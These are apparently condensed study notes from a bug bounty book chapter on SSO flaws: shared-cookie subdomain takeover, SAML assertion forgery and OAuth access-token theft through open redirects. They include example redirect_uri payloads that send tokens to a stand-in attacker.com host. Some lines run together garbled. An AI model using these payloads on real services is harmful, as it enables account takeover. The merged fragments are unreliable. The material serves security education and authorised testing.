Source: Bug Bounty Bootcamp by Vickie Li
SSO lets users log in once and access multiple services. Three common implementations: cookie sharing, SAML, and OAuth. Each has unique vulnerabilities.
Sites under the same parent domain can share session cookies using the Domain flag:
<code>
Set-Cookie: cookie=abc123; Domain=example.com; Secure; HttpOnly
```
This cookie is sent to all subdomains of example.com. Compromise of any subdomain means compromise of all services in the SSO.
When a company uses a third-party service (GitHub Pages, AWS S3, Bitbucket) for a subdomain via a DNS CNAME record, and later removes the third-party page without removing the CNAME, the abandoned record is called a dangling CNAME.
Anyone who registers that third-party URL gains control of the company's subdomain. If cookie-sharing SSO is in use, the attacker can steal session cookies by hosting a script that reads the automatically-sent shared cookies.
Vulnerable providers (as of book publication): AWS, Bitbucket, GitHub Pages Not vulnerable: Squarespace, Google Cloud Full list: https://github.com/EdOverflow/can-i-take-over-xyz/
Hunting subdomain takeovers:
30 10 * * * ./subdomain_takeover.shSAML uses signed XML assertions to communicate identity from an identity provider to a service provider: <code xml> <saml:Signature>
<saml:SignatureValue>dXNlcjE=</saml:SignatureValue>
</saml:Signature> <saml:AttributeStatement>
<saml:Attribute Name="username"> <saml:AttributeValue>user1</saml:AttributeValue> </saml:Attribute>
</saml:AttributeStatement> ```
Common SAML bugs:
base64(username); compute base64(“victim_user”) and forge a valid assertionHunting SAML vulnerabilities:
saml (may be base64-encoded)OAuth flow: <code> 1. Service provider requests authorization from identity provider:
identity.com/oauth?client_id=X&response_type=code&state=STATE&redirect_uri=https://example.com/callback&scope=email
2. Identity provider redirects with authorization code:
https://example.com/callback?authorization_code=abc123&state=STATE
3. Service provider exchanges code for access_token:
identity.com/oauth/token?client_id=X&client_secret=Y&redirect_uri=https://example.com/callback&code=abc123
4. Identity provider returns access_token:
https://example.com/callback?#access_token=xyz123
```
access_token is in the URL fragment (#), which survives cross-domain redirects.
Vulnerability: stealing access_token via open redirect in redirect_uri
If example.com has an open redirect at /callback?next= and the OAuth allowlist permits example.com/*:
<code>
redirect_uri=https://example.com/callback?next=attacker.com
```
Flow: <code> https://example.com/callback?next=attacker.com#access_token=xyz123
```
Chained redirect via open redirect on another endpoint: <code> redirect_uri=https://example.com/callback?next=example.com/logout?next=attacker.com ```
Referer-based redirect: link to the OAuth login from your malicious page; example.com/callback redirects to the HTTP Referer (your domain); token leaks in the Referer.
Long-lived tokens: test whether tokens remain valid after logout and after password reset.
Hunting OAuth token theft:
oauth keyword in intercepted trafficredirect_uri to an open redirect URL on an allowlisted domain